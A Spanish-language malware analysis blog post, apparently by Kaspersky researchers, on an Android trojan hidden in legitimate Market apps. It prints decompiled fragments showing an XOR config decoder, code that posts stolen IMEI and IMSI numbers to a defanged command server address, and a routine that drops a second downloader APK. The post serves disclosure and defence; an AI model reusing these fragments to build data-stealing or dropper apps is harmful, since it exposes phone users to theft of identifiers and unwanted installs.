Malware en el Android Market, parte 2

Ayer mi colega Tim Armstrong escribió sobre un nuevo programa nocivo escondido en el Android Market. En resumen, los atacantes habían infectado varias aplicaciones legítimas y las habían publicado en el Android Market. Analicemos una de ellas con más detalle.

Como mencionamos antes, todas las aplicaciones maliciosas que hemos visto hasta ahora utilizan los mismos exploits, que Kaspersky detecta como Exploit.AndroidOS.Lotoor.g y Exploit.AndroidOS.Lotoor.j. Ambos son muy conocidos y funcionan en todas las versiones del sistema operativo Android anteriores a 2.3. Esto significa que cualquier usuario de Gingerbread (Android 2.3) está protegido de estos exploits.

¿Qué hacen estos troyanos? Parece que el atacante está desesperado por obtener números IMSI e IMEI. Pero también está buscando información sobre el sistema operativo y tipo de teléfono de su víctima.

El robo se realiza así: dentro del código hay un bloque de datos codificados que pesa exactamente 45 bytes. Este bloque está codificado con un simple algoritmo XOR que tiene una llave especial, que está guardada en otro bloque de datos llamado “KEYVALUE”. Si te interesa, a continuación puedes ver la subrutina de codificación:

public static void crypt(byte abyte0[ ])
====={
=====int i = 0;
=====int j = 0;
=====do
=========={
==========int k = abyte0.length;
==========if(j >= k)
===============return;
==========byte byte0 = abyte0[j];
==========byte byte1 = KEYVALUE[i];
==========byte byte2 = (byte)(byte0 ^ byte1);
==========abyte0[j] = byte2;
==========i++;
==========int l = keylen;
==========if(i == l)
===============i = 0;
===============j++;
==========}
=====while(true);
=====}

Al decodificarlo, el primer bloque de datos dirige a hxxp://184.105.245.17:8080/GMServer/GMServlet, alojado en un servidor llamado Hurricane Electric (http://www.he.net) en Freemont, California. Ya hemos contactado a Hurricane Electric para informarle sobre las actividades maliciosas este sitio, y no tardaron en desconectarlo. Cuando escribí esto, el servidor malicioso ya no estaba disponible.

Como dije antes, parece que el troyano está diseñado para conseguir códigos IMEI e IMSI, además de información del aparato. Los datos robados se envían al servidor del cibercriminal con un método POST mediante el protocolo HTTP. Los bloques se suben en formato XML y se ven así:

Formato general del patrón XML

Datos transferidos por Backdoor.AndroidOS.Rooter.a

Datos transferidos por Backdoor.AndroidOS.Rooter.b

Método POST que usa Backdoor.AndroidOS.Rooter

El campo de comandos, que está en “0” en el bloque de arriba, ordena que se suban los códigos IMEI e IMSI robados junto al resto de la información del dispositivo. Puedes ver que la información en las etiquetas no es igual en los dos archivos APK maliciosos que tenemos: “Productld” tiene los valores 10023 y 10039. Por supuesto, el atacante quería calcular el éxito de los diferentes troyanos que puso en circulación en el Android Market. Además, hay que destacar que los datos en la etiqueta (“502”) son iguales en ambos ejemplares. Esta etiqueta nos hizo pensar: ¿Será posible que “502” sea algún tipo de identificación de algún socio o afiliado? Si fuese así, ¿Cuántos afiliados tendrá?

Para no tener que publicar los mismos datos una y otra vez, el troyano asigna un parámetro de preferencia “pref_config_setting” a “done” (“terminado”) cuando sube un archivo:

public void run()
====={
if(Setting.access$1(Setting.this).getSharedPreferences(“pref_config_setting”,0).getInt(“done”,0)== 0)
=========={
==========byte abyte0[] = val$c;
==========String s = new String(abyte0);
==========Context context = Setting.access$1(Setting.this);
==========Setting.postUrl(s, context);
==========}

Además de enviar los códigos IMEI y IMSI robados, el troyano también instala otro módulo copiando un archivo de recursos internos llamado sqlite.db a DownloadProvidersManager.apk:

private void destroy(boolean flag)
{
=====boolean flag1;
=====if(flag && !isPackageInstalled(ctx, “com.android.providers.downloadsmanager”))
==========flag1 = cpFile(ctx, “sqlite.db”, “DownloadProvidersManager.apk”);
=====stopSelf();
}

¿Cuál es el propósito de este segundo módulo? Se vuelve a conectar con el mismo servidor al que envió los IMEI e IMSI robados, pero con un bloque de solicitud diferente (Comando “2”). Esta vez, lee la respuesta del servidor que incluye lo que parece ser una lista de aplicaciones para descargar e instalar en el dispositivo infectado. Así que, en esencia, es un módulo de descargador de troyanos.

La arquitectura tan modular del troyano es interesante y destaca un par de conclusiones importantes. En primer lugar, fue diseñado para facilitar su inclusión en aplicaciones populares, para subirlo al Android Market sin nombres falsos. En segundo lugar, tiene una arquitectura de comando y control clásica: envía una solicitud inicial con información básica y después abre un descargador más complejo para infectar todavía más el aparato. Esto es muy similar a lo que hacen muchos troyanos de Windows. Por último, la capacidad de instalar otras aplicaciones en los aparatos nos muestra que el autor pensaba ganar dinero con las infecciones instalando Adware o apliciones publicitarias en el dispositivo.

Seguiremos al tanto de la situación y publicaremos actualizaciones sobre cualquier novedad.

Costin Raiu
Denis Maslennikov